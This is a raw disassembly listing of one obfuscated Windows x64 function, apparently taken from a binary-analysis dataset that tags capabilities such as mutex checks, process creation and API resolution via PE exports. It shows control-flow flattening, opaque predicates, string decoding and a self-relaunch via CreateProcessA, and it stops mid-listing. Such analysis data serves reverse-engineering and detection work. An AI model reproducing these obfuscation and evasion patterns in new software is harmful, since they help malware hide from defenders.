Function at 0x140363590
Capabilities:
Check mutex on windows
Create process on windows
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x238
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1a0], xmm6
mov qword [rbp + 0xf8], rcx
mov eax, dword [0x140ae0b78]
mov ecx, dword [0x140ae0b7c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0xbf]
cmp ecx, 0xa
setl byte [rbp + 0xbe]
mov eax, 0x6d95be5e
xorps xmm6, xmm6
mov r11d, 0xe29e52eb
mov r9d, 0xb3d2b23b
mov r10d, 0x93d17422
mov r14d, 0xf46bf6cf
mov r12d, 0x7cd39bd4
mov r13d, 0xa3955eeb
mov r15d, 0x9f12df2f
jmp 0x14036363d
mov eax, dword [0x140ae0b78]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa54ab2cb
mov ecx, 0xa1fecb45
nop dword [rax]
cmove eax, ecx
cmp dword [0x140ae0b7c], 0xa
cmovl eax, ecx
cmp eax, 0xfa763ee7
jg 0x140363700
cmp eax, 0xa6e42009
jle 0x140363780
cmp eax, 0xe275554f
jg 0x1403638f1
cmp eax, 0xb0386b26
jle 0x140363b22
cmp eax, 0xb0386b27
je 0x140363dfc
cmp eax, 0xc4433b56
je 0x140363ee8
cmp eax, 0xdc2e1066
jne 0x14036363d
mov eax, reloc.WS2_32.dll_WSASetLastError
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x40], rax
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x70], rax
mov eax, 0x210
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x30], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x68], rax
mov eax, dword [0x140ae0b78]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7d27d2f2
mov ecx, 0xf618e0f0
jmp 0x140363630
cmp eax, 0x3651e245
jg 0x1403638b0
cmp eax, 0x132cccb6
jle 0x140363927
cmp eax, 0x31deb1fc
jg 0x140363af6
cmp eax, 0x132cccb7
je 0x140363efc
cmp eax, 0x19ef4cc6
je 0x140363f06
cmp eax, 0x22a69324
jne 0x14036363d
sub rsp, 0x20
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov r10d, 0x93d17422
mov r9d, 0xb3d2b23b
mov r11d, 0xe29e52eb
add rsp, 0x20
mov dword [rbp - 0x24], eax
mov eax, 0x947a67d7
jmp 0x14036363d
cmp eax, 0x947a67d6
jle 0x14036396b
cmp eax, 0xa1fecb44
jle 0x140363b42
cmp eax, 0xa1fecb45
je 0x140363f10
cmp eax, 0xa387a94c
je 0x140363ff5
cmp eax, 0xa54ab2cb
jne 0x14036363d
mov rax, qword [rbp + 0x60]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x60]
mov rcx, qword [rbp + 0x38]
mov ecx, dword [0x140ae1398]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp + 0x190]
mov edx, dword [0x140ae139c]
mov ecx, 0xf0a767b5
mov ebx, 0x590d5cc4
cmove ecx, ebx
cmp edx, 0xa
setl byte [rbp + 0x198]
cmovl ecx, ebx
mov edx, 0x2c495c21
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x2c495c20
jg 0x140363850
cmp edx, 0xe1e7aa9c
je 0x140364003
cmp edx, 0xf0a767b5
je 0x14036388a
cmp edx, 0xff940fb2
jne 0x140363810
movzx edx, word [reloc.WLDAP32.dll_Ordinal_60]
mov word [rax + 0x10], dx
movups xmm0, xmmword [str.gPUBJPNB_]
movups xmmword [rax], xmm0
mov edx, 0xe1e7aa9c
jmp 0x140363810
cmp edx, 0x6522eca5
je 0x140363894
cmp edx, 0x590d5cc4
je 0x14036389b
cmp edx, 0x2c495c21
jne 0x140363810
movzx ebx, byte [rbp + 0x190]
cmp byte [rbp + 0x198], 0
mov edx, 0xf0a767b5
mov edi, 0x6522eca5
cmovne edx, edi
test bl, bl
cmovne edx, edi
jmp 0x140363810
mov edx, 0x6522eca5
jmp 0x140363810
mov edx, ecx
jmp 0x140363810
mov edx, 0xff940fb2
jmp 0x140363810
cmp eax, 0x6d95be5d
jle 0x1403639b2
cmp eax, 0x76c6fe22
jle 0x140363b76
cmp eax, 0x76c6fe23
je 0x140364e1b
cmp eax, 0x77bd85e6
je 0x140364e25
cmp eax, 0x7d27d2f2
jne 0x14036363d
mov eax, 0xdc2e1066
jmp 0x14036363d
cmp eax, 0xee9428cc
jle 0x140363baa
cmp eax, 0xee9428cd
je 0x140363613
cmp eax, 0xf04ef98a
je 0x140364e2f
cmp eax, 0xf618e0f0
jne 0x14036363d
mov eax, 0xfdc7dac0
jmp 0x14036363d
cmp eax, 0x40c502
jle 0x140363bde
cmp eax, 0xf467daa
jle 0x140363dd9
cmp eax, 0xf467dab
jne 0x1403670ec
cmp byte [rbp + 0xbc], 0
mov eax, 0x3651e246
mov ecx, 0x729baab1
cmovne eax, ecx
mov dword [rbp + 0x100], 0
jmp 0x14036363d
cmp eax, 0x8db08302
jg 0x140363d28
cmp eax, 0x82257420
je 0x140364e4d
cmp eax, 0x865a0df6
jne 0x14036363d
mov rax, qword [rbp]
mov rax, qword [rbp + 8]
mov eax, dword [0x140ae0b78]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa6e4200a
mov ecx, 0x69e973a2
jmp 0x140363630
cmp eax, 0x621b1e94
jg 0x140363da5
cmp eax, 0x3651e246
je 0x140364f0c
cmp eax, 0x3f07a8a8
jne 0x14036363d
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp + 0x18]
mov rcx, qword [rbp - 0x40]
mov ecx, dword [0x140ae13b0]
mov edx, dword [0x140ae13b4]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete byte [rbp + 0x188]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov ecx, 0xa4e18608
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x459dcc67
jg 0x140363a50
cmp ecx, 0x92070498
je 0x140363a73
cmp ecx, 0xa4e18608
je 0x140363aa5
cmp ecx, 0x3ebb7d45
jne 0x140363a20
jmp 0x140364f61
cmp ecx, 0x459dcc68
je 0x140363aca
cmp ecx, 0x4ba17967
je 0x140363aec
cmp ecx, 0x7c5ff18b
jne 0x140363a20
mov ecx, 0x459dcc68
jmp 0x140363a20
mov qword [rbp + 0x198], rax
mov ecx, dword [0x140ae13b0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x4ba17967
mov edx, 0x7c5ff18b
cmove ecx, edx
cmp dword [0x140ae13b4], 0xa
cmovl ecx, edx
jmp 0x140363a20
movzx edx, byte [rbp + 0x188]
cmp byte [rbp + 0x190], 0
mov ecx, 0x4ba17967
mov ebx, 0x92070498
cmovne ecx, ebx
test dl, dl
cmovne ecx, ebx
jmp 0x140363a20
mov rcx, qword [rbp + 0x198]
mov edx, dword [0x140681b61]
mov dword [rcx + 3], edx
mov edx, dword [0x140681b5e]
mov dword [rcx], edx
mov ecx, 0x3ebb7d45
jmp 0x140363a20
mov ecx, 0x92070498
jmp 0x140363a20
cmp eax, 0x31deb1fd
je 0x14036617b
cmp eax, 0x32a17426
jne 0x140367107
cmp dword [rbp - 0x28], 0
mov eax, 0x76c6fe23
mov ecx, 0xe4b396f0
cmove eax, ecx
jmp 0x14036363d
cmp eax, 0xa6e4200a
je 0x140366199
cmp eax, 0xab7a63b5
jne 0x14036363d
mov eax, 0x31deb1fd
jmp 0x14036363d
cmp eax, 0x947a67d7
je 0x1403661a3
cmp eax, 0xa00414a7
jne 0x14036363d
mov eax, dword [0x140ae0b78]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x82257420
mov ecx, 0xb0386b27
jmp 0x140363630
cmp eax, 0x6d95be5e
je 0x1403661d3
cmp eax, 0x729baab1
jne 0x14036363d
mov eax, dword [0x140ae0b78]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x77bd85e6
mov ecx, 0xf04ef98a
jmp 0x140363630
cmp eax, 0xe2755550
je 0x1403661f7
cmp eax, 0xe4b396f0
jne 0x14036363d
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x70]
mov rax, qword [rbp + 0x28]
mov qword [rbp - 0x78], rax
mov eax, 0x40c503
jmp 0x14036363d
cmp eax, 0xfa763ee8
je 0x140366215
cmp eax, 0xfdc7dac0
jne 0x14036363d
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x60], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x38], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x38], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x28], rax
mov eax, 0x110
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x20], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x18], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x40], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x48], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov rax, qword [rbp + 8]
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x50], xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x60], 0
mov rax, qword [rbp + 0x70]
mov qword [rbp], rax
mov rax, qword [rbp]
mov rax, qword [rbp]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rbp + 0x40]
mov dword [rax], 0x68
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
mov rax, qword [rbp + 0x68]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x58]
mov rax, qword [rbp + 0x68]
mov dword [rax], 0
mov eax, 0xee9428cd
jmp 0x14036363d
cmp eax, 0x8db08303
je 0x14036621f
cmp eax, 0x90a4ebf2
jne 0x14036363d
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add rsp, 0x20
mov dword [rbp + 0x4c], eax
mov rax, qword [rbp - 0x30]
mov qword [rbp - 8], rax
mov rdx, qword [rbp - 8]
sub rsp, 0x20
xor ecx, ecx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r10d, 0x93d17422
mov r9d, 0xb3d2b23b
mov r11d, 0xe29e52eb
add rsp, 0x20
mov rax, qword [rbp + 0x20]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x60]
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, 0x3f07a8a8
jmp 0x14036363d
cmp eax, 0x621b1e95
je 0x140366231
cmp eax, 0x69e973a2
jne 0x14036363d
mov eax, dword [0x140ae0b78]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa6e4200a
mov ecx, 0x10a9c4aa
jmp 0x140363630
cmp eax, 0x40c503
jne 0x14036363d
mov rax, qword [rbp - 0x78]
mov rax, qword [rbp + 0x28]
mov dword [rax], 0x22b
mov eax, 0x11b42cdb
jmp 0x14036363d
mov rsi, qword [rbp + 0x20]
mov eax, dword [rbp + 0x4c]
mov r9, qword [rbp - 8]
mov r8, qword [rbp - 0x68]
sub rsp, 0x30
mov dword [rsp + 0x20], eax
mov edx, 0x109
mov rcx, rsi
call fcn.14029fd20
add rsp, 0x30
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov rax, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x70]
sub rsp, 0x50
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
add rsp, 0x50
mov rax, qword [rbp + 0x70]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
sub rsp, 0x20
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x20
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x68]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov r10d, 0x93d17422
mov r9d, 0xb3d2b23b
mov r11d, 0xe29e52eb
add rsp, 0x20
mov rax, qword [rbp + 0x68]
cmp dword [rax], 0x22b
sete byte [rbp + 0xbc]
mov eax, dword [0x140ae0b78]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x82257420
mov ecx, 0xf467dab
jmp 0x140363630
mov eax, 0x3651e246
mov dword [rbp + 0x100], 1
jmp 0x14036363d
mov eax, 0xa387a94c
jmp 0x14036363d
mov eax, 0xc4433b56
jmp 0x14036363d
mov rax, qword [rbp + 0x60]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x60]
mov rcx, qword [rbp + 0x38]
mov ecx, dword [0x140ae1398]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp + 0x190]
mov edx, dword [0x140ae139c]
mov ecx, 0xf0a767b5
mov ebx, 0x590d5cc4
cmove ecx, ebx
cmp edx, 0xa
setl byte [rbp + 0x198]
cmovl ecx, ebx
mov edx, 0x2c495c21
nop dword [rax + rax]
cmp edx, 0x2c495c20
jg 0x140363fa0
cmp edx, 0xe1e7aa9c
je 0x14036624a
cmp edx, 0xf0a767b5
je 0x140363fda
cmp edx, 0xff940fb2
jne 0x140363f60
movzx edx, word [reloc.WLDAP32.dll_Ordinal_60]
mov word [rax + 0x10], dx
movups xmm0, xmmword [str.gPUBJPNB_]
movups xmmword [rax], xmm0
mov edx, 0xe1e7aa9c
jmp 0x140363f60
cmp edx, 0x6522eca5
je 0x140363fe4
cmp edx, 0x590d5cc4
je 0x140363feb
cmp edx, 0x2c495c21
jne 0x140363f60
movzx ebx, byte [rbp + 0x190]
cmp byte [rbp + 0x198], 0
mov edx, 0xf0a767b5
mov edi, 0x6522eca5
cmovne edx, edi
test bl, bl
cmovne edx, edi
jmp 0x140363f60
mov edx, 0x6522eca5
jmp 0x140363f60
mov edx, ecx
jmp 0x140363f60
mov edx, 0xff940fb2
jmp 0x140363f60
mov rax, qword [rbp - 0x60]
mov eax, 0xe2755550
jmp 0x14036363d
mov r8, qword [rbp + 0x60]
mov eax, 0xc39bf014
nop dword [rax]
cmp eax, 0xdac22760
jle 0x140364040
cmp eax, 0xdac22761
je 0x140364070
cmp eax, 0xf393b6a8
je 0x140364753
cmp eax, 0x7ba0b5f9
jne 0x140364010
mov eax, 0xb033de52
jmp 0x140364010
cmp eax, 0xb033de52
je 0x14036704b
cmp eax, 0xc39bf014
jne 0x140364010
mov eax, dword [0x140ae13a0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf393b6a8
mov ecx, 0xdac22761
jmp 0x140364741
mov ecx, 0xd6d5a1
jmp 0x14036409d
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x17fdc9fd
mov eax, 0xd155fb1f
cmove ecx, eax
cmp dword [0x140ae80c0], 0xa
cmovl ecx, eax
cmp ecx, 0x17fdc9fc
jle 0x1403640f0
cmp ecx, 0x4af83284
jle 0x140364180
cmp ecx, 0x53512481
jle 0x1403641ae
cmp ecx, 0x53512482
je 0x140364549
cmp ecx, 0x74423369
jne 0x14036470e
mov qword [rbp + 0x178], r8
mov ecx, 0xc655d466
jmp 0x14036409d
cmp ecx, 0xf6812406
jg 0x140364130
cmp ecx, 0xd155fb1e
jg 0x1403644ab
cmp ecx, 0xc655d466
je 0x140364567
cmp ecx, 0xcb338767
jne 0x14036409d
mov ecx, 0x74423369
jmp 0x14036409d
cmp ecx, 0xd6d5a0
jg 0x1403644ef
cmp ecx, 0xf6812407
je 0x140364077
cmp ecx, 0xffe2ec1c
jne 0x14036409d
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x30636ac0
mov eax, 0x548cb6a1
jmp 0x140364090
cmp ecx, 0x30636abf
jg 0x140364520
cmp ecx, 0x17fdc9fd
je 0x14036458f
cmp ecx, 0x22da1d90
jne 0x14036409d
mov ecx, 0x53512482
jmp 0x14036409d
cmp ecx, 0x4af83285
je 0x140364599
cmp ecx, 0x4be33bfd
jne 0x14036409d
mov rcx, qword [rbp + 0x160]
mov ebx, 0xb2a00f5a
jmp 0x1403641fa
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0x48e67897
mov eax, 0x382df1a
cmove ebx, eax
cmp dword [0x140ae80c8], 0xa
cmovl ebx, eax
cmp ebx, 0xdf8476f9
jle 0x140364250
cmp ebx, 0x382df19
jle 0x1403642f0
cmp ebx, 0x34abb7a0
jg 0x1403643d2
cmp ebx, 0x382df1a
je 0x140364442
cmp ebx, 0x2f1a8b30
jne 0x1403641fa
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0x48e67897
mov eax, 0xdf8476fa
jmp 0x1403641ed
cmp ebx, 0xb2a00f59
jg 0x140364390
cmp ebx, 0x93d17422
je 0x1403643e8
cmp ebx, 0x99324306
je 0x14036444e
cmp ebx, 0xafa4d35b
jne 0x1403641fa
mov eax, dword [rbp + 0x140]
lea ebx, [rax + 0x34]
mov edi, dword [rbp + 0x138]
mov esi, 0xffcb
sub esi, eax
and esi, edi
not edi
and edi, ebx
or esi, edi
mov rax, qword [rbp + 0x190]
mov word [r8 + rax*2], si
mov eax, dword [rbp + 0x148]
add eax, 1
mov dword [rbp + 0xe8], eax
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xf5f91ee0
cmove ebx, r10d
cmp dword [0x140ae80c8], 0xa
cmovl ebx, r10d
jmp 0x1403641fa
cmp ebx, 0xdf8476fa
je 0x1403641d4
cmp ebx, 0xed51ceca
je 0x1403643f8
cmp ebx, 0xf5f91ee0
jne 0x1403641fa
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov ebx, dword [rbp + 0x138]
mov ebx, dword [rbp + 0x138]
mov ebx, 0xffcb
sub ebx, eax
add eax, 0x34
and ebx, 0xbad0
and eax, 0x452f
or eax, ebx
xor eax, dword [rbp + 0x138]
xor eax, 0xbad0
mov rbx, qword [rbp + 0x190]
mov word [r8 + rbx*2], ax
mov eax, dword [rbp + 0x148]
mov ebx, 0xafa4d35b
jmp 0x1403641fa
cmp ebx, 0xb2a00f5a
je 0x140364438
cmp ebx, 0xb3d2b23b
je 0x14036446b
cmp ebx, 0xb96442a5
jne 0x1403641fa
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xf5f91ee0
mov eax, 0xafa4d35b
jmp 0x1403641ed
cmp ebx, 0x48e67897
jne 0x140364495
mov ebx, 0xdf8476fa
jmp 0x1403641fa
mov ebx, 0x99324306
mov edx, dword [rbp + 0xe8]
jmp 0x1403641fa
mov rax, qword [rbp + 0x198]
movzx eax, word [rax]
mov dword [rbp + 0x138], eax
movsxd rax, dword [rbp + 0x148]
imul rbx, rax, 0x51eb851f
mov rdi, rbx
shr rdi, 0x3f
sar rbx, 0x24
add ebx, edi
imul ebx, ebx, 0x32
sub eax, ebx
mov dword [rbp + 0x140], eax
mov ebx, 0xb96442a5
jmp 0x1403641fa
mov ebx, 0x2f1a8b30
jmp 0x1403641fa
mov ebx, 0x99324306
xor edx, edx
jmp 0x1403641fa
mov dword [rbp + 0x148], edx
mov eax, dword [rbp + 0x148]
cmp eax, 9
mov ebx, 0x34abb7a1
cmovl ebx, r9d
jmp 0x1403641fa
movsxd rax, dword [rbp + 0x148]
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x190]
lea rax, [rcx + rax*2]
mov qword [rbp + 0x198], rax
mov ebx, 0xed51ceca
jmp 0x1403641fa
cmp ebx, 0x34abb7a1
jne 0x1403641fa
mov ecx, 0xcb338767
jmp 0x14036409d
cmp ecx, 0xd155fb1f
je 0x1403645aa
cmp ecx, 0xe29e52eb
jne 0x14036409d
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x188], rax
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x32ffbaa7
mov eax, 0x22da1d90
jmp 0x140364090
cmp ecx, 0xd6d5a1
je 0x1403645c8
cmp ecx, 0xb1a22af
jne 0x14036409d
cmp byte [rbp + 0xf0], 0
mov ecx, 0x74423369
mov eax, 0x4af83285
cmovne ecx, eax
jmp 0x14036409d
cmp ecx, 0x30636ac0
je 0x140364704
cmp ecx, 0x32ffbaa7
jne 0x14036409d
mov rax, qword [rbp + 0x178]
mov ecx, 0xe29e52eb
jmp 0x14036409d
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x30636ac0
mov eax, 0xffe2ec1c
jmp 0x140364090
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x32ffbaa7
cmove ecx, r11d
cmp dword [0x140ae80c0], 0xa
cmovl ecx, r11d
jmp 0x14036409d
mov ecx, 0xd155fb1f
jmp 0x14036409d
mov qword [rbp + 0x160], r8
mov ecx, 0x4be33bfd
jmp 0x14036409d
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x17fdc9fd
mov eax, 0xb1a22af
jmp 0x140364090
mov eax, dword [0x140ae80cc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae80d0], 0xa
setl cl
or cl, al
mov r10d, 0x290c383d
mov eax, 0xfccaf4b1
cmovne r10d, eax
mov ecx, 0x290c383d
mov eax, 0xe9966ea0
cmovne ecx, eax
movzx r9d, word [r8 + 0x10]
mov esi, 0x62375d7
mov eax, 0xb39fb905
cmovne esi, eax
mov edi, 0x62375d7
mov eax, 0xea2ad473
cmovne edi, eax
mov edx, 0xfdb9d5d8
jmp 0x140364630
mov edx, 0x12d06eb6
nop dword [rax]
mov ebx, edx
cmp edx, 0xfdb9d5d7
jle 0x140364660
cmp ebx, 0x12d06eb5
jg 0x140364690
mov edx, edi
cmp ebx, 0xfdb9d5d8
je 0x140364630
mov edx, ebx
cmp ebx, 0x62375d7
jne 0x140364630
mov edx, 0xea2ad473
jmp 0x140364630
cmp ebx, 0xea2ad472
jg 0x1403646b5
cmp ebx, 0xb39fb905
je 0x140364628
mov edx, ebx
cmp ebx, 0xe9966ea0
jne 0x140364630
cmp word [rbp + 0x198], 0
setne al
mov edx, r10d
jmp 0x140364630
mov edx, ecx
cmp ebx, 0x12d06eb6
je 0x140364630
mov edx, ebx
cmp ebx, 0x290c383d
jne 0x140364630
movzx edx, word [rbp + 0x198]
mov edx, 0xe9966ea0
jmp 0x140364630
cmp ebx, 0xea2ad473
jne 0x1403646cc
mov word [rbp + 0x198], r9w
mov edx, esi
jmp 0x140364630
mov edx, ebx
cmp ebx, 0xfccaf4b1
jne 0x140364630
and al, 1
mov byte [rbp + 0x190], al
mov al, byte [rbp + 0x190]
mov byte [rbp + 0xf0], al
mov ecx, 0xf6812407
mov r9d, 0xb3d2b23b
mov r10d, 0x93d17422
jmp 0x14036409d
mov ecx, 0xffe2ec1c
jmp 0x14036409d
cmp ecx, 0x548cb6a1
jne 0x14036409d
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x110], r8
mov eax, dword [0x140ae13a0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf393b6a8
mov ecx, 0x7ba0b5f9
cmove eax, ecx
cmp dword [0x140ae13a4], 0xa
cmovl eax, ecx
jmp 0x140364010
mov ecx, 0xd6d5a1
jmp 0x14036478d
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x17fdc9fd
mov eax, 0xd155fb1f
nop word cs:[rax + rax]
nop dword [rax]
cmove ecx, eax
cmp dword [0x140ae80c0], 0xa
cmovl ecx, eax
cmp ecx, 0x17fdc9fc
jle 0x1403647e0
cmp ecx, 0x4af83284
jle 0x140364870
cmp ecx, 0x53512481
jle 0x14036489e
cmp ecx, 0x53512482
je 0x140364c39
cmp ecx, 0x74423369
jne 0x140364dfe
mov qword [rbp + 0x178], r8
mov ecx, 0xc655d466
jmp 0x14036478d
cmp ecx, 0xf6812406
jg 0x140364820
cmp ecx, 0xd155fb1e
jg 0x140364b9b
cmp ecx, 0xc655d466
je 0x140364c57
cmp ecx, 0xcb338767
jne 0x14036478d
mov ecx, 0x74423369
jmp 0x14036478d
cmp ecx, 0xd6d5a0
jg 0x140364bdf
cmp ecx, 0xf6812407
je 0x14036475a
cmp ecx, 0xffe2ec1c
jne 0x14036478d
mov eax, dword [0x140ae80bc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x30636ac0
mov eax, 0x548cb6a1
jmp 0x140364780
cmp ecx, 0x30636abf
jg 0x140364c10
cmp ecx, 0x17fdc9fd
je 0x140364c7f
cmp ecx, 0x22da1d90
jne 0x14036478d
mov ecx, 0x53512482
jmp 0x14036478d
cmp ecx, 0x4af83285
je 0x140364c89
cmp ecx, 0x4be33bfd
jne 0x14036478d
mov rcx, qword [rbp + 0x160]
mov ebx, 0xb2a00f5a
jmp 0x1403648ea
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0x48e67897
mov eax, 0x382df1a
cmove ebx, eax
cmp dword [0x140ae80c8], 0xa
cmovl ebx, eax
cmp ebx, 0xdf8476f9
jle 0x140364940
cmp ebx, 0x382df19
jle 0x1403649e0
cmp ebx, 0x34abb7a0
jg 0x140364ac2
cmp ebx, 0x382df1a
je 0x140364b79
cmp ebx, 0x2f1a8b30
jne 0x1403648ea
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0x48e67897
mov eax, 0xdf8476fa
jmp 0x1403648dd
cmp ebx, 0xb2a00f59
jg 0x140364a80
cmp ebx, 0x93d17422
je 0x140364ad8
cmp ebx, 0x99324306
je 0x140364b32
cmp ebx, 0xafa4d35b
jne 0x1403648ea
mov eax, dword [rbp + 0x140]
lea ebx, [rax + 0x34]
mov edi, dword [rbp + 0x138]
mov esi, 0xffcb
sub esi, eax
and esi, edi
not edi
and edi, ebx
or esi, edi
mov rax, qword [rbp + 0x190]
mov word [r8 + rax*2], si
mov eax, dword [rbp + 0x148]
add eax, 1
mov dword [rbp + 0xe8], eax
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xf5f91ee0
cmove ebx, r10d
cmp dword [0x140ae80c8], 0xa
cmovl ebx, r10d
jmp 0x1403648ea
cmp ebx, 0xdf8476fa
je 0x1403648c4
cmp ebx, 0xed51ceca
je 0x140364ae8
cmp ebx, 0xf5f91ee0
jne 0x1403648ea
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov eax, dword [rbp + 0x140]
mov ebx, dword [rbp + 0x138]
mov ebx, dword [rbp + 0x138]
mov ebx, 0xffcb
sub ebx, eax
add eax, 0x34
and ebx, 0xbad0
and eax, 0x452f
or eax, ebx
xor eax, dword [rbp + 0x138]
xor eax, 0xbad0
mov rbx, qword [rbp + 0x190]
mov word [r8 + rbx*2], ax
mov eax, dword [rbp + 0x148]
mov ebx, 0xafa4d35b
jmp 0x1403648ea
cmp ebx, 0xb2a00f5a
je 0x140364b28
cmp ebx, 0xb3d2b23b
je 0x140364b4f
cmp ebx, 0xb96442a5
jne 0x1403648ea
mov eax, dword [0x140ae80c4]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov ebx, 0xf5f91ee0
mov eax, 0xafa4d35b
jmp 0x1403648dd
cmp ebx, 0x48e67897
jne 0x140364b85
mov ebx, 0xdf8476fa
jmp 0x1403648ea
mov ebx, 0x99324306
mov edx, dword [rbp + 0xe8]
